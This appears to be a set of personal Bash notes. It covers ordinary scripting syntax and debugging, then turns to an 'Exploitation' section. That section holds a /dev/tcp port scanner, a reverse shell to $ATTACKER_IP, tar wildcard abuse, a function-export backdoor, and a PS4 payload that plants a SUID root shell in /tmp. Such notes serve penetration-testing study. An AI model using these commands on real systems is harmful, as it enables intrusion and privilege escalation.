Scripting

Bash scripting

# Brace expansion
#
{X,Y}      # X Y
{X,Y}.txt  # X.txt Y.txt
{1..10}    # 1 2 3 4 5 6 7 8 9 10
{1..10..2} # 1 3 5 7 9
 
# Special variables
#
$#   # Number of arguments to script/function
$1   # First argument
$9   # Ninth argument (NOTE: there is no $10 and higher)
"$@" # All arguments as a separate quoted strings
"$*" # All arguments as a single string separated by
     # first IFS character
 
# IFS is the string of characters that act as delimeters
# (for example, in loops). If unset, it's equal to the
# sequence <space><tab><newline>.
 
# Length of a variable
#
MYVAR=/path/to/file/file.tar.gz
${#MYVAR} # 25
 
# Variable manipulation
#
${MYVAR%.*}            # /path/to/file/file.tar
${MYVAR%%.*}           # /path/to/file/file
${MYVAR#*/}            # path/to/file/file.tar.gz
${MYVAR##*/}           # file.tar.gz
${MYVAR/file/newfile}  # /path/to/newfile/file.tar.gz
${MYVAR//file/newfile} # /path/to/newfile/newfile.tar.gz
${MYVAR:1:4}           # path
${MYVAR:(-6):3}        # tar
 
# Setting defaults
#
${MYVAR:-default} # Return $MYVAR, or "default" if unset
${MYVAR:=default} # Set $MYVAR to "default" if unset
${MYVAR:+default} # Return "default" if $MYVAR set
${MYVAR:?error}   # Exit with "error" if $MYVAR unset
 
# Variable variables
#
VAR1="Hello world"
VAR2="VAR1"
${!VAR2} # Hello world
 
# Arrays
#
MYARRAY=("element0" "element1" "element2")
MYARRAY[3]="element3"
${MYARRAY[0]}     # element0
${MYARRAY[-1]}    # element3
${MYARRAY[@]}     # element0 element1 element2 element3
${MYARRAY[@]:1:2} # element1 element2
${!MYARRAY[@]}    # 0 1 2 3
 
# Size of an array
#
${#MYARRAY[@]} # 4
 
# Remove an element from an array
#
unset MYARRAY[3]
 
# Arrays are actually a special case of dictionaries,
# which hold key/value pairs. In an array, keys are just
# 0-indexed numbers. Dictionaries work exactly the same
# as arrays, except rather than referencing/setting
# elements by number, you reference and set them by key.
 
# Create a dictionary
#
declare -A MYDICT
 
# Math
#
$(( 1 + 2 )) # 3
$RANDOM      # Random-ish number
 
# Loop over lines in a file
#
cat $FILE | while read -r LINE; do
	# Do stuff with $LINE
done
 
# Loop over filenames with spaces
#
while IFS= read -d '' -r FILE; do
	# Do stuff with $FILE
done < <(find $DIR -type f -print0)
 
# The advantage this has over other approaches is that it
# doesn't create a subshell, so you can use variables set
# within the loop elsewhere. We need to temporarily
# override IFS because our list is null-separated; the
# space between the -d and the '' (an empty string, which
# Bash interprets as the null character) is *required*.
Link to original

Debugging Bash scripts

Using the -x flag will force Bash to output each line of the shell script you’re running before that line is executed. This can be useful for debugging.

bash -x ./script.sh

The -x flag can also be incorporated into the interpreter line.

#!/usr/bin/env bash -x
 
# Script content...

Finally, this mode can be toggled on and off with the set command within the script itself.

#!/usr/bin/env bash
 
# Some script content...
 
set -x
 
# These lines will be echoed before execution.
 
set +x
 
# These lines will not be echoed...

Frequently set -x is used at the start of a script without a closing set +x, which will just cause all lines of the script to be echoed back before execution.

Link to original

Exploitation

Port scanning

Port scanning with Bash

(: </dev/tcp/$IP_ADDRESS/$PORT) &>/dev/null && echo "OPEN" || echo "CLOSED"
Link to original

A simple reverse shell

Bash reverse shell

bash -li &> /dev/tcp/$ATTACKER_IP/$LISTENER_PORT 0>&1

(Based on the PayloadsAllTheThings Bash TCP reverse shell.)

Catch it with netcat or socat.

(That said, the fact that all of my file descriptors wind up pointing at /dev/tcp is a little mysterious to me. I think what’s happening here is that /dev/tcp is bidirectional “out of the box” — incoming data comes out, just as outgoing data goes in — so binding all three “core” file descriptors to it does the right thing. That, and realize that the X>&Y construct means “bind file descriptor X to file descriptor Y”, and &> is just short for 2>&1 >, and > is just short for 1 >. So really what’s happening here is that we bind STDERR to STDOUT with and implicit 2>&1, then bind STDOUT to /dev/tcp with an implicit 1 >, then bind STDIN to /dev/tcp as well with 0>&1.)

Link to original

Using wildcard expansion to pass command line options

Abusing wildcard expansion in Bash

The wildcard expansion (*) in Bash scripts doesn’t get pushed to the command, but is instead expanded in place. This means that files named like command-line switches will be interpreted as command line switches. This can be used, for example, to exploit sloppy tar-based backup scripts.

Link to original

Exploiting functions

How to use Bash functions to “backdoor” executables

This only works on versions of Bash before v4.2-048!

In versions of Bash < 4.2-048, it’s possible to export functions with the same form as absolute paths to files. These functions will then be executed instead of the fully-specified path if the calling application is relying on the current shell for helper execution.

For example:

function /path/to/executable { /bin/bash -p; }
export -f /path/to/executable
Link to original

Exploiting $PS4

How to exploit the Bash PS4 (debugging) prompt

This only works on versions of Bash before v4.4!

When Bash is in debugging mode (SHELLOPTS=xtrace), the $PS4 prompt is used to display debugging information.

It would appear that this prompt somehow inherits the permissions of the executable being run. This includes SUID/SGID permissions (at least for Bash < 4.4)!

If you have access to a SUID/SGID executable, this can be abused to create root shells:

env -i \
SHELLOPTS=xtrace \
PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' \
/path/to/suid/executable

Again, this only works if the calling application is relying on the current shell for helper execution.

Link to original

Avoid dropping privileges with SUID Bash

How to avoid dropping privileges with SUID Bash

Bash will drop privileges by default if SUID. To avoid this, simply supply the -p flag.

Link to original